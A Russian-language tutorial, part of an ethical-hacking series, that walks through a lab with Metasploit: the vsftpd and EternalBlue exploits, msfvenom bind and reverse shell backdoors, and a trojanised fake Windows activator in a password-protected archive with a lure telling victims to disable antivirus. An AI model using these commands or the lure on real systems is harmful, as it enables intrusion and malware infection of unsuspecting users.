Как стать автором
Обновить

Приручение черного дракона. Этичный хакинг с Kali Linux. Часть 5. Методы получения доступа к системе

Время на прочтение16 мин
Количество просмотров47K

Приветствую тебя, дорогой читатель, в пятой части серии статей «Приручение черного дракона. Этичный хакинг с Kali Linux».

Полный список статей прилагается ниже, и будет дополняться по мере появления новых.

Приручение черного дракона. Этичный хакинг с Kali Linux:

Часть 1. Вводная часть. Подготовка рабочего стенда.

Часть 2. Фазы атаки.

Часть 3. Footprinting. Разведка и сбор информации.

Часть 4. Сканирование и типы сканирования. Погружение в nmap.

Часть 5. Методы получения доступа к системе.

Часть 6. Пост-эксплуатация. Способы повышения привилегий.

Часть 7. Пост-эксплуатация. Закрепление в системе.

Часть 8. Методы и средства внешней разведки.

В прошлый раз мы поговорили о приемах активного футпринтинга, а именно, о методах сканирования целевых ресурсов, и познакомились с таким замечательным инструментом, как сетевой сканер nmap. Сегодня мы разберем следующую важную фазу — получение доступа к системе и поговорим о таких вещах, как эксплоиты (exploits), полезная нагрузка (payload), а так же познакомимся с инструментом, который нам поможет автоматизировать рутинные задачи связанные с поиском и эксплуатацией уязвимостей под названием Metasploit Framework.

Почему же именно Metasploit и что в нем такого особенного, что он является самым популярным инструментом в арсенале любого специалиста информационной безопасности на различных этапах проверок? Попробуем разобраться в этом вопросе. И начнем мы с погружения в теорию.

Metasploit Framework – представляет из себя комплексный инструмент автоматизации процесса эксплуатации уязвимостей ПО и операционных систем различной архитектуры.

Модули входящие в состав Metasploit можно разделить на следующие несколько категорий:

Эксплоиты (Exploits) - компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).

По типу исполнения можно выделить два вида эксплоитов:

Удалённый эксплойт – работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к атакуемой системе;

Локальный эксплойт – запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней.

Пэйлоады (Payloads) – это некий код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.

Вспомогательные модули (auxiliary) - это дополнительные вспомогательные инструменты вроде сканеров уязвимостей, которые могут искать в сети уязвимые устройства под конкретный эксплоит.

Отсюда следует, что MSF позволяет нам искать и эксплуатировать различными способами уязвимости в операционной системе, используемых в ней сетевых протоколах и отдельных программах, с целью получения контроля над ней либо вывода ее из строя (вторая фаза целевой атаки).

Рассмотрим несколько практических примеров, чтобы тебе точно было все понятно.

Запустим виртуальную машину с Kali Linux и уязвимую машину Metasploitable2.

Запустить Metasploit мы можем либо из консоли командой msfconsole, либо найти его в разделе Exploitation Tools списка всех программ.

Как мы помним из прошлой статьи, у машины Metasploitable2 нам удалось обнаружить устаревшую версию службы ftp 2.3.4 имеющую именно такую уязвимость. Более подробно о каждой известной уязвимости можно узнать из ресурса https://www.exploit-db.com/

В поле search можно ввести название сервиса либо номер бюллетени уязвимости.

Как видно на скриншоте, в том случае если эксплоит уже есть в базе Metasploit рядом с его названием в скобках это будет обозначено.

Для поиска необходимого эксплоита в базе metasploit введем команду:

search <название эксплоита>

Для применения эксплоита используем команду use <номер эксплоита в списке>

Чтобы посмотреть доступные опции эксплоита введем команду show options

Как мы видим , тут нам доступны несколько параметров настроек:

RHOSTS – удаленный хост для эксплуатации уязвимости (тут указываем IP адрес машины Metasploitable2)

RPORT – тут указываем порт сервиса (только в том случае если он нестандартный)

И так, для того, чтобы атаковать ресурс нам необходимо ввести всего 2 команды:

set RHOSTS <IP адрес цели>

run либо exploit для того, чтобы запустить эксплоит.

Ждем несколько секунд и получаем открытую сессию в виде удаленного shell-а. Пусть тебя не смущает пустое поле, большая часть команд уже работает. Посмотрим под кем мы работаем командой whoami.

Мы видим, что мы сидим под root пользователем

Убедимся в том, что это действительно нужный хост и введем команду ip address.

В данном случае мы работаем через командную оболочку, что имеет один существенный минус, а именно — она не даст нам авторизоваться в системе под другим пользователем либо повторно перелогиниться. Сейчас покажу, что я имею ввиду.

Посмотрим, какие пользователи кроме root у нас есть вообще в системе. Информация о пользователях созданных в системе хранится в файле passwd каталога /etc

cat /etc/passwd

Видим, что тут присутствуют еще пользователи, например, пользователь msfadmin и user.

Попробуем переключиться на них через команду su <имя пользователя>

И так, что мы тут интересного

можем увидеть. Все попытки залогиниться под другими пользователями или перелогиниться под root выдают нам сообщение о том, что команда su (она же sudo) должна выполняться из терминала. Самый простой и эффективный способ переключиться из командной оболочки в режим терминала — использование псевдотерминала pty на python.

Запустим его следующим скриптом:

python -c ‘import pty; pty.spawn(“bin/sh”)’

И выполним те же самые манипуляции в псевдотерминале

Как мы видим, переключение между пользователями в терминале осуществляется без особых проблем. Кстати, перелогиниться под root мы уже не можем, поскольку пароль нам не известен. Для того, чтобы вернуться к работе под пользователем root необходимо выйти из сессии текущего пользователя командой exit.

И так, надеюсь, что с разницей в работе через терминал и командную оболочку все понятно и мы можем двигаться дальше.

Ранее я писал о составе модулей MSF и таком типе, как вспомогательные модули (auxiliary). Представим, что у нас есть для проверки офис, в котором 30-40 машин под управлением системы Microsoft Windows, а так же сервер на ОСи того же вендора. Знакомая ситуация, не правда ли? И вот нам надо узнать, есть ли в сети устройства, к которым применим старый, но все еще актуальный эксплоит с кодовым именем EternalBlue или MS17-010 (уязвимости подвержены все версии Windows, начиная с Windows XP и заканчивая Windows Server 2016). По типу исполнения, это удаленный эксплоит, как и тот, что мы рассмотрели ранее. Но там мы имели дело с одной машиной, а тут их десятки. Для ускорения задачи, нам и поможет специальный скан-модуль, который будет сканировать все устройства в сети и искать те, которые уязвимы перед EternalBlue.

Покажу наглядно пример ниже.

ВАЖНО! Для того, чтобы повторить данный пример, понадобится подготовить еще 2 машины, с Windows Server 2008 R2 и Windows 7 с последними обновлениями. Уязвимости EternalBlue подвержены все версии Micorosoft Windows использующие уязвимую версию протокола SMBv1, в которых отсутствует мартовский патч 2017 года исправляющий ее.

Список наиболее уязвимых систем следующий:

  • Windows Server 2012 R2 Standard 9600: 352,886

  • Windows Server 2008 R2 Enterprise 7601 Service Pack 1: 111,331

  • Windows Server 2008 R2 Standard 7601 Service Pack 1: 67,761

  • Windows Server 2008 R2 Datacenter 7601 Service Pack 1: 57,295

  • Windows Server 2016 Standard 14393: 53,005

  • Windows Server 2012 R2 Datacenter 9600: 47,122

  • Windows 7 Professional 7601 Service Pack 1: 36,454

  • Windows 7 Ultimate 7601 Service Pack 1: 33,886

  • Windows 10 Home 17134: 29310: 29.310

  • Windows 7 Home Premium 7601 Service Pack 1: 26,781

Представим сеть среднестатистического офиса небольшой компании либо госконторы обслуживаемую среднестатистическим эникейщиком со среднестатистической зарплатой до 30 тысяч рублей. Знакомо? Мне тоже. В этой сети есть некий файловый сервер представляющий из себя ПК на Windows Server 2008 c расшаренными папками и отключенным для удобства брандмауэром (сеть-то локальная! А от хакеров защищает NAT на роутере). Так же в сети есть компьютер на базе Windows 7 на котором «кто-то иногда что-то печатает» и еще «антивирус ставить не стали потому что он слабенький по параметрам, но пока рабочий».

Все это - ничто иное, как печальная окружающая нас повседневно реальность с которой приходится мириться ровно до тех пор, пока «Неуловимый Джо», наконец, не станет кому-то да нужен.

И так, с сетью офиса все понятно, пора приступать к делу. Запускаем msfconsole и ищем все, что связано со словом eternalblue.

По запросу в базе Metasploit поиск выдает несколько вариантов. Самый первый вариант — это сам эксплоит, который даст нам удаленный доступ к машине в том случае если в ней есть данная уязвимость, но нас интересует auxiliary/scanner/smb/smb_ms17_010, который может в считанные минуты просканировать всю сеть и дать полный расклад по уязвимым машинам. Проверим как это работает. Выберем нужный пункт командой use 3, зададим в параметре RHOSTS всю сеть для сканирования по 24 маске 192.168.1.0/24 и запустим сканирование командой run.

Как мы видим, сканер проверил всю сеть и отметил IP адрес уязвимой машины. Ей оказался некий сервер на базе Windows Server 2008 (В сети так же присутствует машина на базе Windows 7, но со всеми последними доступными для нее обновлениями безопасности. Тут наш EternalBlue бессилен, но ей мы займемся позже).

Проверим для начала, сможем ли мы подключиться без логина и пароля к файловому серверу.

Увы, но сервер требует при подключении аутентификацию и шлет нас лесом.

Теперь выберем наш эксплоит командой use 0, посмотрим какие виды полезных нагрузок нам тут доступны - команда show payloads (если не выбрать полезную нагрузку вручную, то автоматически будет выбран windows/x64/meterpreter/reverse_tcp)

Список весьма внушительный, но нам надо выбрать тот вариант, который сработает наверняка. Дело в том, что далеко не каждый payload в данной и любой другой ситуации может отработать чисто. Многие из них возвращают ошибку вроде этой

Снова небольшое отступление в сторону теории.

Соединение типа bind_tcp - это тип взаимодействия с атакуемым устройством, в котором на машине жертвы запускается процесс прослушивающий определённый порт, ожидая, пока атакующий подключится к нему (прямое входящее соединение).

Соединение типа reverse_tcp - это тип взаимодействия с атакуемым устройством, в котором на машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие брандмауэры настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти фильтрацию брандмауэра (обратное, исходящее соединение).

В данном случае, я выбираю payload/windows/x64/meterpreter/bind_tcp, поскольку у нас не стоит задача обходить блокировку правил брандмауэра Windows, а достаточно лишь выполнить прямое соединение с целевой машиной.

Далее задаем адрес целевой машины командой set RHOSTS 192.168.1.11, указываю тип ОС на атакуемой машине (чтобы посмотреть доступные цели введем команду show targets), и, проверив на всякий случай опции, убедимся, что все в порядке и мы готовы к запуску эксплоита.

Собственно, запускаем сам эксплоит!

Как видно на скриншоте, эксплоит успешно запустился и мы получили сессию meterpreter.

Отлично! Введем команду shell, чтобы получить привычный виндовый command shell и иметь возможность выполнять виндовые команды. Выведем список зарегистрированных пользователей системы командой net user и сетевую статистику подключений net stat

Есть тут один косяк — проблема с кириллическими символами. Решается русской локализацией самой системы Kali Linux команда sudo dpkg-reconfigure locales

И выбираем ru_RU.UTF-8 UTF-8

Я же не стану заморачиваться с этим, и просто приложу ниже скриншот из командной строки целевой машины

И так, в примерах выше мы рассмотрели работу удаленного типа эксплоита, который может эксплуатировать уязвимость на целевом хосте взаимодействуя с ним через сеть. Но что же делать в том случае, если машина уязвима только перед локальным эксплоитом? В этом случае нам необходимо создать некий бэкдор либо троянец и запустить его на целевой машине.

Т.е. тут мы рассматриваем более сложный сценарий, где для осуществления взлома необходимо применить методы социальной инженерии и заставить жертву запустить исполняемый файл на своей локальной машине.

На подобные случаи в составе Metasploit имеется отдельный модуль, как msfvenom – мощнейший инструмент для генерации пэйлоадов под разные архитектуры систем.

Для начала немного погрузимся в теорию вредоносного ПО и разберемся что есть что из вышеперечисленного.

Бэкдор (backdoor) – это вид вредоносного ПО, главной задачей которого является предоставление несанкционированного доступа к удаленному устройству

В нашем случае, генерируемая с помощью msfvenom полезная нагрузка является бэкдором.

Троянец (trojan) – это вид вредоносного ПО, главной задачей которого является маскировка под легитимную программу. Он так же несёт в себе полезную нагрузку, чаще всего которой является бэкдор.

Т.е. если мы к файлу setup.exe любой программы либо игры под OC Windows добавляем полезную нагрузку – это будет троянская программа с бэкдором. Если мы сгенерировали полезную нагрузку, разместили на компьютере цели и добавили файл в автозагрузку – то это будет бэкдор.

Далее рассмотрим существующие типы пэйлоадов, в составе Metasploit.

Single – это тип полезной нагрузки выполняющий простые одиночное команды.

Он позволяет создавать нового пользователя в скомпрометированной системе или запустить какой-либо исполняемый файл.

Stager – это тип полезной нагрузки основной задачей которого является создание сетевого соединения между машиной атакующего и машиной жертвы. Далее последующие компоненты подгружаются при подключении stage.

Stage – это тип нагрузки, который загружается не полностью, а поэтапно и имеет, как правило, довольно обширный функционал. Применяется в тех случаях когда необходимо получить VNC либо Meterpreter сессию. К недостаткам данного типа нагрузок можно отнести большой объем занимаемой оперативной памяти (хотя в современных компьютерах совсем не критично).

Что ж, снова мы немного пробежались по теории, и можем вернуться к практике.

Все дальнейшие опыты мы будем проводить на машине под управлением ОС Windows 7, на которой будут установлены все последние доступные для нее обновления безопасности, но выключен брандмауэр и отсутсвует какое-либо антиврусное ПО. У меня такая машина уже есть (о ней я писал ранее), ты же, дорогой читатель, можешь скачать любую 7-ку с последними обновлениями там, где мы обычно любим это делать.

Для начала запустим машину с Kali Linux и в консоли вводим команду msfvenom -h чтобы посмотреть все доступные параметры модуля

Список не особо длинный и из него для генерации полезной нагрузки обязательными являются два флага: -p – сам payload и -f – формат файла на выходе (например .exe).

Для того, чтобы вывести список всех доступных пэйлоадов введем msfvenom -l payloads

На момент написания статьи в базе у Metasploit доступно 867 пэйлоадов для различных платформ. В начале каждого пэйлоада идет название платформы: windows, linux, android, osx и т. д. далее может идти используемая техника подключения (тип пэйлоада, которые мы рассматривали ранее), в самом конце будет указана основная цель полезной нагрузки.

Приступим к созданию нашего первого пэйлоада. Это будет windows/meterpreter/bind_tcp

Команда будет выглядеть следующим образом

msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/Desktop/backdoor.exe

По завершению генерации, исполняемый файл backdoor.exe сохранится на рабочем столе.

В случае запуска данного файла на компьютере жертвы, откроется доступ к нему по порту 4444 (порт стандартный для всех пэйлоадов, но его при желании можно изменить).

Следовательно, для того, чтобы получить к машине доступ, нам нужен будет некий Listener – программа, которая будет слушать заданный порт и позволит открыть сессию.

Для этого запустим msfconsole и введем команду use exploit/multi/handler которая откроет нам тот самый эксплоит представляющий из себя listener для прослушивания заданного порта и открытия сессии в случае успеха.

В нем необходимо задать следующие параметры:

set payload windows/meterpreter/bind_tcp – выбираем тот же payload, что и в созданном файле.

set rhost 192.168.11.149 – указываем IP адрес целевого устройства (статью писал дома и на работе, так что сеть изменилась, но на суть работы это не влияет, у тебя она в любом случае будет скорее всего другой).

set lport 4444 – указываем порт который будем слушать.

run – запускаем и ждем действий со стороны жертвы.

Далее нам необходимо придумать способ для передачи файла на компьютер жертвы. Мы не будем пока особо вдаваться в тонкости социальной инженерии, а рассмотрим самый простой способ — файлообменник на базе веб-сервера Apache. Обычно он предустановлен в Kali Linux, так что достаточно будет его запустить командой systemctl start apache2.service

Скопируем созданный файл в директорию /var/www/html/

Далее, остается лишь скачать файл с целевой машины открыв в браузере ссылку с адресом машины атакующего и именем файла http://192.168.1.143/backdoor.exe запустить его.

Перейдем в окно c ожидающим соединения handler-ом и посмотрим, что произойдет после запуска файла на машине жертвы

Как видно на последнем скрине, в тот самый момент когда жертва запустила наш бэкдор, у нас открылась сессия meterpreter.

А что же в этот момент происходит в диспетчере задач на целевой машине?

Процесс backdoor.exe отображается в списке других процессов. В том случае если данный процесс завершить, то сессия тут же прервется.

На этот случай в msfvenom предусмотрен специальный тип скрытой полезной нагрузки shell_hidden_bind_tcp. Данный пэйлоад дает нам доступ не к сессии meterpreter, а к командной оболочке Windows. После выполнения процесс прячется в системе и даже если снять задачу связанную с ним в диспетчере, сессия не прервется. Рассмотрим данный способ подробнее.

Для начала перенастроим handler на использование другого эксплоита

set payload windows/shell_hidden_bind_tcp

set rhost 192.168.11.149

set ahost 192.168.11.143 – тут мы указываем разрешенный (allowed) IP адрес атакующего.

set lport 4444

run

В случае работы с командной оболочкой (с meterpreter сессией данный вариант не работает), альтернативным инструментом входящим в состав Kali является старая как мир утилита Netсat.

В ней нам будет достаточно прописать короткую команду nc 192.168.11.149 4444 и так же дождаться выполнения пэйлоада на стороне жертвы.

Однако, с учетом того, что тут мы изучаем возможности именно MSF, я предпочту остановиться на варианте с handler-ом.

Далее сгенерируем новый эксплоит:

msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.11.143 lport=4444 -f exe > /home/kali/Desktop/hidden-backdoor.exe

Затем так же копируем файл на наш сервер и скачиваем его из браузера на целевой машине.

Посмотрим, что изменится после того, как мы завершим процесс hidden-backdoor.exe в диспетчере задач.

В данном случае мы видим две активные сессии с одного и того же устройства (одна работает через handler а вторая через Netcat).

В итоге, пока атакуемая машина не будет перезапущена, или атакующая сторона не закроет соединение, оно будет продолжать работать.

И так, с прямыми подключениями все ясно. Давай немного усложним задачу и включим наш брандмауэр Windows. В этом случае вариант bind_tcp не будет работать, если не добавить файл в исключения брандмауэра. И тут нам на помощь приходит reverse_tcp, который позволит обойти блокировку входящих соединений.

В этот раз ускорю процесс и воспользуюсь вместо handler утилитой Netcat

nc -lvp 4444

Генерируем файл для удобства выгружаем сразу в директорию/var/www/html

msfvenom -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -f exe > /var/www/html/reverse-shell.exe

Скачиваем файл на машину жертвы, запускаем и…

Вроде ничего особенного. В чем же фокус? Попробуем запустить с включенным брандмауэром один из прошлых файлов с подключением типа bind_tcp

А вот и суть фокуса. В случае использования прямого соединения, брандмауэр уведомляет нас о том, что такое-то приложение хочет инициировать сетевое соединение и поэтому я заблокировал некоторые его функции. И в том случае, если пользователь не разрешит приложению доступ на входящее соединение…

Наш эксплоит, конечно, запустится НО…

Никакого удаленного шелла нам не видать в этом случае. Отсюда следует, что во всех случаях когда мы не уверены в том работает на удаленном хосте брандмауэр или нет, стоит использовать reverse_tcp.

Ну, хорошо. Допустим, что с обходом брандмауэра все понятно, но как быть в том случае если на целевой машине установлен антивирус? Как он отреагирует на подобный файл?

Интересно?) Надеюсь, что да. Продолжим наш эксперимент и усложним себе задачу.

Установим антивирус на атакуемую машину и посмотрим что произойдет с загруженным файлом hidden-backdoor.exe. Дабы не рекламировать какого-либо конкретного производителя антивирусного ПО поступим честно. Зайдем на какой-нибудь популярный сайт посвященный антивирусной защите (например, comss.ru) и выберем самый рейтинговый бесплатный антивирус.

Единственный антивирус в списке с рейтингом в 5 звезд 360 Total Security от наших братьев из Поднебесной. Что ж, скачаем и проверим на что он способен. После установки просканируем папку «Загрузки» и посмотрим на результат.

В данном случае, антивирус действительно обнаружил угрозу в загруженном ранее файле и предложил исправить проблему удалив его.

И тут возникает вполне логичный вопрос: а есть ли способ скрыть от любого антивируса полезную нагрузку при помощи инструментов доступных в составе MSF? Если отвечать на этот вопрос в 2022 году, то скорее нет чем да. Почему так? Давай разберемся.

Еще лет 5-6, одним из наиболее эффективных способов обхода антивирусного ПО в Metasploit являлась схема создания скрытой полезной нагрузки с использованием кодировщика shikata ga nai (в переводе с японского что-то вроде «с этим ничего не поделать»). Данный способ работает за счет уникального полиморфного аддитивного кодировщика XOR, благодаря которому при каждой итерации процесса кодирования шелл-кода, он будет происходить по-разному, от чего нагрузка становится для антивируса безопасной на вид. Кроме энкодера shikata_ga_nai в MSF есть и другие кодировщики с которыми можно поиграться, но маловероятно, что из этого что-то получится. Посмотреть весь список доступных кодировщиков можно с помощью команды msfvenom --list encoders

Что ж, давай проверим, есть ли еще смысл использовать при тестировании на взлом и проникновение этот метод и применим немного магии социальной инженерии (как не крути, а это самое мощное оружие злоумышленников, которое они применяют повсеместно)

План действий следующий: сначала мы подготавливаем некий шаблон (это будет импровизированный файл активатора Windows или любая подобная программа, которую пользователь будет скачивать с общедоступных файлообменников и захочет добавить в исключения), внедряем в него полезную нагрузку кодируя ее многократно при помощи shikata_ga_nai, затем проверяем результат того, насколько маскировка надежна на ресурсе virustotal.com Вне зависимости от результата включаем социальную инженерию: запаковываем наш файл в защищенный паролем архив и прилагаем к нему файлик README.txt в котором просим ОБЯЗАТЕЛЬНО на момент запуска программы и процесса активации системы ОТКЛЮЧАТЬ антивирус, дабы он не убил файл (признайся, и ты с таким сталкивался наверняка не раз). Последним шагом мы скопируем архив с паролем на импровизированный файлообменник, в ожидании пока его скачает жертва.

Для лучшего понимания следующей команды ознакомимся с параметрами используемыми

в ней:

-a <arch> архитектура набора команд (x86/x64);

--platform <platform> выбор целевой платформы (в нашем случае windows);

-p <payload> - сама полезная нагрузка (в нашем случае windows/meterpreter/reverse_tcp);

-e <encoder> - выбор кодировщика;

-i <count> - количество итераций кодирования;

-k <keep> - параметр позволяющий сохранить исходному шаблону все его первоначальные свойства;

-x <path> - путь к шаблону (исполняемому файлу легитимного ПО);

-f <format> - формат генерации, который может быть raw, exe, elf, jar, py и т.д. (для просмотра всех доступных форматов можно использовать команду --help-formats).

И так, приступим к генерации полезной нагрузки:

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -e x86/shikata_ga_nai -i 20 -f exe -k -x /home/kali/Downloads/putty.exe > KMSAuto.exe

По завершению генерации загрузим для начала файл на virustotal.com и проверим, что у нас вышло:

Результат почти провальный. Большая часть антивирусных движков обнаружила угрозу, а это значит, что без приемов социальной инженерии данный файл подсунуть жертве, убедив ее отключить антивирус на момент запуска, не удастся. Что ж, создадим в директории файлообменника текстовый файл README.txt (писать мы в нем ничего не будем, но примерное содержимое текста нам известно), после чего добавим директорию KMSAuto в которую скопируем файл с пэйлоадом и README.txt. По командам примерно следующее.

Далее воспользуемся утилитой zip и добавим директорию KMSAuto со всеми вложенными файлами в защищенный паролем 11111 архив.

Проверим архив на virustotal и сравним результаты:

Как мы видим, у данного метода есть одно преимущество, антивирус не сможет начать сканировать файл до тех пор, пока он в архиве. Проверим его в деле

Как мы и предполагали, антивирус просканировал файл, и не нашел в нем никаких угроз. Далее, даже если разархивировав его пользователь увидит уведомление от антивируса, он прочтет содержимое файла README.txt и выключит на время активации свой антивирус, добровольно открыв доступ злоумышленнику.

Как мы видим, после запуска файла наш Netcat получил удаленный шелл.

Здесь мы рассмотрели всего лишь простой пример для понимания того, как можно захватить любую систему, применив лишь базовые возможности существующих инструментов и немного социальной инженерии (таким же способом можно заразить файл Excel с отчетами через VBA и отправить по почте главбуху и т.д.).

Конечно, мы разобрали лишь основную часть работы с MSF и в следующих статьях будут рассматриваться отдельные моменты по работе с этим замечательным фреймворком.

На этой ноте я прощаюсь с тобой, мой дорогой читатель, до новых встреч!

Теги:
Хабы:
Всего голосов 11: ↑11 и ↓0+11
Комментарии10

Публикации

Истории

Работа

Ближайшие события